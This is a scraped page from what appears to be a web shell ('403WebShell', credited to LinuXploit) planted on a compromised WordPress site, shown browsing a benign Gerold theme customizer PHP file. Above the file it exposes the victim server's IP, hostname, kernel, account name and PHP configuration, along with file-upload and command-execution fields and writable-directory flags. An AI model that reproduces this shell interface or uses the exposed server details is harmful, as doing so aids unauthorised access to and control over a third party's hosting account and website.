Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.222.182.226
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/cynthiaadediran.com/wp-content/themes/gerold/inc/customizer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/cynthiaadediran.com/wp-content/themes/gerold/inc/customizer/customizer-config.php
<?php

/**
 * Gerold Customizer Configuration
 *
 * @package Gerold_Theme
 * @since Gerold 1.0.0
 * @author ThemeJunction 
 */

if (!defined('ABSPATH')) {
  exit;
}

// Do not proceed if Kirki does not exist.
if (!class_exists('Kirki')) {
  return;
}

class Gerold_Customizer {

  public static $_instance;

  public function __construct() {
    add_action('customize_register', [$this, 'gerold_customizer_sections']);
    add_filter('kirki/fields', [$this, 'gerold_customizer_setting']);
    add_action('customize_preview_init', [$this, 'gerold_customize_preview_js']);
  }

  /**
   *    ---------------------------------------------------------------------------------------
   *    Customizer Sections
   *    ---------------------------------------------------------------------------------------
   */
  public function gerold_customizer_sections($wp_customize) {
    // Customizer Panel
    $wp_customize->add_panel('gerold_customizer_panel', [
      'priority' => 10,
      'title'    => esc_html__('Gerold Customizer', 'gerold'),
    ]);

    // general settings
    $wp_customize->add_section('general_settings', [
      'title'       => esc_html__('General Settings', 'gerold'),
      'priority'    => 1,
      'description' => esc_html__('To change site general settings and google map api.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);

    // typography settings
    $wp_customize->add_section('typo_settings', [
      'title'       => esc_html__('Typography Settings', 'gerold'),
      'priority'    => 2,
      'description' => esc_html__('Setup site typography settings.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);

    // colors settings
    $wp_customize->add_section('colors_settings', [
      'title'       => esc_html__('Color Settings', 'gerold'),
      'priority'    => 3,
      'description' => esc_html__('Setup site color settings.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);

    // header settings
    $wp_customize->add_section('header_settings', [
      'title'       => esc_html__('Header Settings', 'gerold'),
      'priority'    => 4,
      'description' => esc_html__('Setup site header settings.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);

    // Logos
    $wp_customize->add_section('gerold_theme_logos', [
      'title'       => esc_html__('Site Logos', 'gerold'),
      'description' => esc_html__('Setup site logos.', 'gerold'),
      'priority'    => 5,
      'capability'  => 'edit_theme_options',
      'panel'       => 'gerold_customizer_panel',
    ]);

    // Breadcrumb Settings
    $wp_customize->add_section('breadcrumb_setting', [
      'title'       => esc_html__('Breadcrumb Setting', 'gerold'),
      'priority'    => 10,
      'description' => esc_html__('Setup site breadcrumb settings.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);

    // blog settings
    $wp_customize->add_section('blog_settings', [
      'title'       => esc_html__('Blog Settings', 'gerold'),
      'priority'    => 11,
      'description' => esc_html__('Setup blog pages settings.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);

    // Services settings
    $wp_customize->add_section('services_settings', [
      'title'       => esc_html__('Services Settings', 'gerold'),
      'priority'    => 12,
      'description' => esc_html__('Setup services pages settings.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);

    // Portfolio settings
    $wp_customize->add_section('portfolios_settings', [
      'title'       => esc_html__('Portfolio Settings', 'gerold'),
      'priority'    => 13,
      'description' => esc_html__('Setup portfolio pages settings.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);

    // footer settings
    $wp_customize->add_section('footer_settings', [
      'title'       => esc_html__('Footer Settings', 'gerold'),
      'priority'    => 15,
      'description' => esc_html__('Setup site footer settings.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);

    // permalink settings
    $wp_customize->add_section('permalink_settings', [
      'title'       => esc_html__('Permalink Settings', 'gerold'),
      'priority'    => 16,
      'description' => esc_html__('Setup site permalink settings.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);

    // 404 page settings
    $wp_customize->add_section('404_page', [
      'title'       => esc_html__('404 Page', 'gerold'),
      'priority'    => 16,
      'description' => esc_html__('Setup 404 page settings.', 'gerold'),
      'panel'       => 'gerold_customizer_panel',
    ]);
  }

  /**
   *    ---------------------------------------------------------------------------------------
   *    Customizer Settings Fields
   *    ---------------------------------------------------------------------------------------
   */
  public function gerold_customizer_setting($fields) {

    require GEROLD_CUSTOMIZER_DIR . 'fields/general-settings.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/typography-settings.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/colors-settings.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/header-settings.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/theme-logos.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/breadcrumb-settings.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/blog-settings.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/services-settings.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/portfolios-settings.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/footer-settings.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/permalink-settings.php';
    require GEROLD_CUSTOMIZER_DIR . 'fields/404-settings.php';

    return $fields;
  }

  /**
   *    ---------------------------------------------------------------------------------------
   *    Customizer Preview JS
   *    ---------------------------------------------------------------------------------------
   */
  public function gerold_customize_preview_js() {
    wp_enqueue_script('gerold-customizer', GEROLD_INC_URL . '/assets/js/customize-preview.js', array('customize-preview'), GEROLD_THEME_VERSION, true);
  }

  public static function gerold_get_instance() {
    if (!isset(self::$_instance)) {
      self::$_instance = new Gerold_Customizer();
    }
    return self::$_instance;
  }
}
$gerold_Fields = Gerold_Customizer::gerold_get_instance();

Youez - 2016 - github.com/yon3zu
LinuXploit